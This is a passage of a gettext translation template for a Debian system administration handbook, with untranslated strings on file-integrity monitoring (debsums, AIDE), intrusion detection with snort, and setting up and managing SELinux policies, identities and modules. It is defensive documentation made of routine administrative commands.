msgid "<emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>mrtg</command></primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <emphasis role=\"pkg\">mrtg-contrib</emphasis> and <emphasis role=\"pkg\">mrtgutils</emphasis> packages contain example scripts that can be used directly."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Detecting Changes"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Once the system is installed and configured, and barring security upgrades, there's usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes)."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Auditing Packages: <command>debsums</command> and its Limits"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>debsums</command></primary>"
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>GOING FURTHER</emphasis> Protecting against upstream changes"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<command>debsums</command> is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see <xref linkend=\"sect.package-authentication\" />), and taking care to only install packages from a certified origin."
msgstr ""

#. Tag: para
#, no-c-format
msgid "<command>debsums</command> is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. First, because not all Debian packages provide the fingerprints required by this program (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename> when they exist). <indexterm><primary>fingerprint</primary></indexterm> <indexterm><primary>control sum</primary></indexterm> <indexterm><primary>MD5</primary></indexterm> <indexterm><primary>SHA1</primary></indexterm> As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm (MD5 or SHA1 being well-known examples) that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task."
msgstr ""

#. Tag: para
#, no-c-format
msgid "In addition, the <filename>md5sums</filename> files are stored on the hard disk; a thorough attacker will therefore update these files so they contain the new control sums for the subverted files."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The first drawback can be avoided by asking <command>debsums</command> to base its checks on a <filename>.deb</filename> package instead of relying on the <filename>md5sums</filename> file. But that requires downloading the matching <filename>.deb</filename> files first:"
msgstr ""

#. Tag: screen
#, no-c-format
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>apt-get --reinstall -d install `debsums -l`</userinput>\n"
"<computeroutput>[ ... ]\n"
"# </computeroutput><userinput>debsums -p /var/cache/apt/archives -g</userinput>\n"
"      "
msgstr ""

#. Tag: para
#, no-c-format
msgid "It is also worth noting that, in its default configuration, <command>debsums</command> automatically generates the missing <filename>md5sums</filename> files whenever a package is installed using APT."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The other problem can be avoided in a similar fashion: the check must simply be based on a pristine <filename>.deb</filename> file. Since this implies having all the <filename>.deb</filename> files for all the installed packages, and being sure of their integrity, the simplest way is to grab them from a Debian mirror. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis."
msgstr ""

#. Tag: screen
#, no-c-format
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`</userinput>\n"
"<computeroutput>[ ... ]\n"
"# </computeroutput><userinput>debsums -p /var/cache/apt/archives --generate=all</userinput>\n"
"      "
msgstr ""

#. Tag: para
#, no-c-format
msgid "Note that this example uses the <command>grep-status</command> command from the <emphasis role=\"pkg\">dctrl-tools</emphasis> package, which is not installed by default."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Monitoring Files: AIDE"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><emphasis role=\"pkg\">aide</emphasis> (Debian package)</primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>IN PRACTICE</emphasis> Protecting the database"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role=\"pkg\">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended."
msgstr ""

#. Tag: para
#, no-c-format
msgid "A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role=\"pkg\">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Samhain also offers similar features, as well as some functions to help detecting rootkits (see the QUICK LOOK sidebar). It can also be deployed globally on a network, and record its traces on a central server (with a signature)."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>QUICK LOOK</emphasis> The <emphasis role=\"pkg\">checksecurity</emphasis> and <emphasis role=\"pkg\">chkrootkit</emphasis>/<emphasis role=\"pkg\">rkhunter</emphasis> packages"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <emphasis role=\"pkg\">chkrootkit</emphasis> and <emphasis role=\"pkg\">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Detecting Intrusion (IDS/NIDS)"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>detection, intrusion</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>intrusion detection</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>IDS</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>intrusion detection system</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>NIDS</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>Network</primary><secondary>IDS</secondary>"
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>BACK TO BASICS</emphasis> Denial of service"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>denial of service</primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site)."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DoS</acronym> and <acronym>DDoS</acronym> (depending on whether the denial of service attack is distributed or not)."
msgstr ""

#. Tag: para
#, no-c-format
msgid "<command>snort</command> (in the Debian package of the same name) is a NIDS — a <emphasis>Network Intrusion Detection System</emphasis>. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged, and a daily email is sent to the administrator with a summary of the past 24 hours."
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>snort</command></primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Its configuration requires describing the range of addresses that the local network covers. In practice, this means the set of all potential attack targets. Other important parameters can be configured with <command>dpkg-reconfigure snort</command>, including the network interface to monitor. This will often be <literal>eth0</literal> for an Ethernet connection, but other possibilities exist such as <literal>ppp0</literal> for an ADSL or PSTN (<emphasis>Public Switched Telephone Network</emphasis>, or good old dialup modem), or even <literal>wlan0</literal> for some wireless network cards."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role=\"pkg\">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Snort can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend=\"sect.logcheck\" />)."
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>prelude</command></primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <command>snort</command> configuration file (<filename>/etc/snort/snort.conf</filename>) is very long, and the abundant comments describe each directive with much detail. Getting the most out of it requires reading it in full and adapting it to the local situation. For instance, indicating which machine hosts which service can limit the number of incidents <command>snort</command> will report, since a denial of service attack on a desktop machine is far from being as critical as one on a DNS server. Another interesting directive allows storing the mappings between IP addresses and MAC addresses (these uniquely identify a network card), so as to allow detecting <emphasis>ARP spoofing</emphasis> attacks by which a compromised machine attempts to masquerade as another such as a sensitive server."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>CAUTION</emphasis> Range of action"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The effectiveness of <command>snort</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>snort</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic."
msgstr ""

#. Tag: para
#, no-c-format
msgid "On a small network based around a network hub, there is no such problem, since all machines get all the traffic."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Introduction to SELinux"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>SELinux</primary>"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Principles"
msgstr ""

#. Tag: para
#, no-c-format
msgid "SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation."
msgstr ""

#. Tag: para
#, no-c-format
msgid "SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work."
msgstr ""

#. Tag: para
#, no-c-format
msgid "With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Security contexts and Unix users"
msgstr ""

#. Tag: para
#, no-c-format
msgid "In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (there's usually only a single domain allowed for a given role, the <literal>-t</literal> parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type)."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>EXTRA</emphasis> Domains and types are equivalent"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Internally, a domain is just a type, but a type that only applies to processes. That's why domains are suffixed with <literal>_t</literal> just like objects' types."
msgstr ""

#. Tag: para
#, no-c-format
msgid "By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Automatic transitions between domains"
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>IN PRACTICE</emphasis> Finding the security context"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>security context</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>context, security context</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>MCS (<emphasis>Multi-Category Security</emphasis>)</primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>."
msgstr ""

#. Tag: screen
#, no-c-format
msgid ""
"<computeroutput>$ </computeroutput><userinput>ps axZ | grep vstfpd</userinput>\n"
"<computeroutput>system_u:system_r:ftpd_t:s0   2094 ?    Ss  0:00 /usr/sbin/vsftpd</computeroutput>\n"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book."
msgstr ""

#. Tag: para
#, no-c-format
msgid "To find the current security context in a shell, you should call <command>id -Z</command>."
msgstr ""

#. Tag: screen
#, no-c-format
msgid ""
"<computeroutput>$ </computeroutput><userinput>id -Z</userinput>\n"
"<computeroutput>unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023</computeroutput>\n"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Finally, to find the type assigned to a file, you can use <command>ls -Z</command>."
msgstr ""

#. Tag: screen
#, no-c-format
msgid ""
"<computeroutput>$ </computeroutput><userinput>ls -Z test /usr/bin/ssh</userinput>\n"
"<computeroutput>unconfined_u:object_r:user_home_t:s0 test\n"
"     system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh</computeroutput>\n"
msgstr ""

#. Tag: para
#, no-c-format
msgid "It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Setting Up SELinux"
msgstr ""

#. Tag: para
#, no-c-format
msgid "SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <command>aptitude install selinux-basics selinux-policy-default</command> command will automatically install the packages required to configure an SELinux system."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <emphasis role=\"pkg\">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section)."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The SELinux system is now ready. To enable it, you should add the <literal>selinux=1</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot."
msgstr ""

#. Tag: para
#, no-c-format
msgid "It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on)."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Managing an SELinux System"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>semodule</command></primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>semanage</command></primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>GOING FURTHER</emphasis> More documentation"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. <ulink type=\"block\" url=\"http://www.selinuxproject.org\" />"
msgstr ""

#. Tag: para
#, no-c-format
msgid "You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support. <ulink type=\"block\" url=\"http://wiki.debian.org/SELinux\" /> <ulink type=\"block\" url=\"http://etbe.coker.com.au/tag/selinux/\" />"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Managing SELinux Modules"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp</replaceable></command>. The <emphasis>pp</emphasis> extension stands for <emphasis>policy package</emphasis>."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently enabled. It also outputs their version numbers."
msgstr ""

#. Tag: screen
#, no-c-format
msgid ""
"<computeroutput># </computeroutput><userinput>semodule -i /usr/share/selinux/default/aide.pp</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>aide    1.4.0\n"
"apache  1.10.0\n"
"apm     1.7.0\n"
"[...]</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>semodule -r aide</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>apache  1.10.0\n"
"apm     1.7.0\n"
"[...]</computeroutput>\n"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Managing Identities"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command."
msgstr ""

#. Tag: para
#, no-c-format
msgid "You should definitely read the <citerefentry><refentrytitle>semanage</refentrytitle><manvolnum>8</manvolnum></citerefentry> manual page, even if the command's syntax tends to be similar for all the concepts which are managed. You will find common options to all sub-commands: <literal>-a</literal> to add, <literal>-d</literal> to delete, <literal>-m</literal> to modify, <literal>-l</literal> to list, and <literal>-t</literal> to indicate a type (or domain)."
msgstr ""

#. Tag: para
#, no-c-format
msgid "<command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user."
msgstr ""

#. Tag: screen
#, no-c-format
msgid ""
"<computeroutput># </computeroutput><userinput>semanage login -a -s user_u rhertzog</userinput>\n"
"<computeroutput># </computeroutput><userinput>semanage login -l</userinput>\n"
"<computeroutput>\n"
"Login Name                SELinux User              MLS/MCS Range\n"
"\n"
"__default__               unconfined_u              s0-s0:c0.c1023\n"
"rhertzog                  user_u                    None\n"
"root                      unconfined_u              s0-s0:c0.c1023\n"
"system_u                  system_u                  s0-s0:c0.c1023\n"
"# </computeroutput><userinput>semanage login -d rhertzog</userinput> \n"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>."
msgstr ""

#. Tag: screen
#, no-c-format
msgid ""
"<computeroutput># </computeroutput><userinput>semanage user -a -R 'staff_r user_r' -P staff test_u</userinput>\n"
"<computeroutput># </computeroutput><userinput>semanage user -l</userinput>\n"
"<computeroutput>\n"
"                Labeling   MLS/       MLS/\n"
"SELinux User    Prefix     MCS Level  MCS Range        SELinux Roles\n"
"\n"
"root            sysadm     s0         s0-s0:c0.c1023   staff_r sysadm_r system_r\n"
"staff_u         staff      s0         s0-s0:c0.c1023   staff_r sysadm_r\n"
"sysadm_u        sysadm     s0         s0-s0:c0.c1023   sysadm_r\n"
"system_u        user       s0         s0-s0:c0.c1023   system_r\n"
"test_u          staff      s0         s0               staff_r user_r\n"
"unconfined_u    unconfined s0         s0-s0:c0.c1023   system_r unconfined_r\n"
"user_u          user       s0         s0               user_r\n"
"# </computeroutput><userinput>semanage user -d test_u</userinput>\n"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Managing File Contexts, Ports and Booleans"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t \"/srv/www(/.*)?\"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want that the web server be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Some SELinux modules export boolean options that you can tweak to alter the behavior of the default rules. The <command>getsebool</command> utility can be used to inspect those options (<command>getsebool <replaceable>boolean</replaceable></command> displays one option, and <command>getsebool -a</command> them all). The <command>setsebool <replaceable>boolean</replaceable> <replaceable>value</replaceable></command> command changes the current value of a boolean option. The <literal>-P</literal> option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in <filename>~/public_html/</filename>)."
msgstr ""

#. Tag: screen
#, no-c-format
msgid ""
"<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput>\n"
"<computeroutput>httpd_enable_homedirs --&gt; off\n"
"# </computeroutput><userinput>setsebool -P httpd_enable_homedirs on</userinput>\n"
"<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput> \n"
"<computeroutput>httpd_enable_homedirs --&gt; on</computeroutput>\n"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Adapting the Rules"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>."
msgstr ""

#. Tag: para
#, no-c-format
msgid "To create new modules, the <emphasis role=\"pkg\">selinux-policy-dev</emphasis> package is required, as well as <emphasis role=\"pkg\">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:"
msgstr ""

#. Tag: screen
#, no-c-format
msgid ""
"<computeroutput>$ </computeroutput><userinput>zcat /usr/share/doc/selinux-policy-doc/Makefile.example.gz &gt;Makefile</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>zcat /usr/share/doc/selinux-policy-doc/example.fc.gz &gt;example.fc</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>zcat /usr/share/doc/selinux-policy-doc/example.if.gz &gt;example.if</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.te ./</userinput>\n"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it's a set of “public functions” that other modules can use to properly interact with the module that you're creating."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Writing a <filename>.fc</filename> file"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<filename>example.fc</filename> file"
msgstr ""

#. Tag: programlisting
#, no-c-format
msgid ""
"# myapp executable will have:\n"
"# label: system_u:object_r:myapp_exec_t\n"
"# MLS sensitivity: s0\n"
"# MCS categories: &lt;none&gt;\n"
"\n"
"/usr/sbin/myapp         --      gen_context(system_u:object_r:myapp_exec_t,s0)\n"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Writing a <filename>.if</filename> File"
msgstr ""

#. Tag: para
#, no-c-format
msgid "In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<filename>example.if</filename> File"
msgstr ""

#. Tag: programlisting
#, no-c-format
msgid ""
"## &lt;summary&gt;Myapp example policy&lt;/summary&gt;\n"
"## &lt;desc&gt;\n"
"##      &lt;p&gt;\n"
"##              More descriptive text about myapp.  The &lt;desc&gt;\n"
"##              tag can also use &lt;p&gt;, &lt;ul&gt;, and &lt;ol&gt;\n"
"##              html tags for formatting.\n"
"##      &lt;/p&gt;\n"
"##      &lt;p&gt;\n"
"##              This policy supports the following myapp features:\n"
